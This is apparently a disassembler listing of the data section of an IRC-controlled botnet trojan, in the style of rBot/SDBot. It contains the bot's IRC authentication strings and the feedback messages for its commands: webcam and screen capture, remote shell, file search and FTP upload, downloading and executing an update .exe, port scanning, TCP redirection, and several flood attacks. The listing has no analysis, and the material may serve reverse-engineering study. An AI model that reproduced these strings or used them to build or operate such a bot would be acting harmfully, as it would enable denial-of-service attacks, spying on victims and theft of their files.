dword_429A94	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_429A9C	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B24	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429B44	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_429B98	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429C18:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_429C1C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429C40	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429C68	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429C8C	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429CB0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429CD4	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429CF8	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429D14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D40	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429D8C	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_429DB8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429DE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E04	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E24	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E74	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F14	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F38	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429F54	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F78	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_429F90	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429FD0	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429FE8	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A024	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42A03C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A068:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A06C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_42A090	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42A0B4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42A0F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A134	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_42A168	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_42A1A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42A1D4	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_42A208	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_42A230	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_42A260	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42A2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_42A300	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_42A31C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42A34C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42A374	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42A394	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42A3B4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A3D0	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_42A3E4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_42A3F0	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_42A418	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_42A434	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_42A450	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_42A458	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_42A474	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_42A480	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_42A488	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_42A490	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A4CC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A4F8	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A534	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A568	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42A59C	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_42A5B4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_42A5C8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_42A5D8	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_42A620	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A65C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_42A694	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42A6B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A6D4	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A710	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A740	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A74C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A770	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A7A8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A7E0	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A80C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A848	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A878	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A8B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A8E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A918	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A948	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A980	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A9FC	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA28	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42AA6C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAA8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42AB04	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42AB10	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AB4C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42AB9C	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42ABD4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC3C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42AC70	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42ACA4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42ACD4	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42AD44	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42AD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADE4	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE2C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42AE94	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AECC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
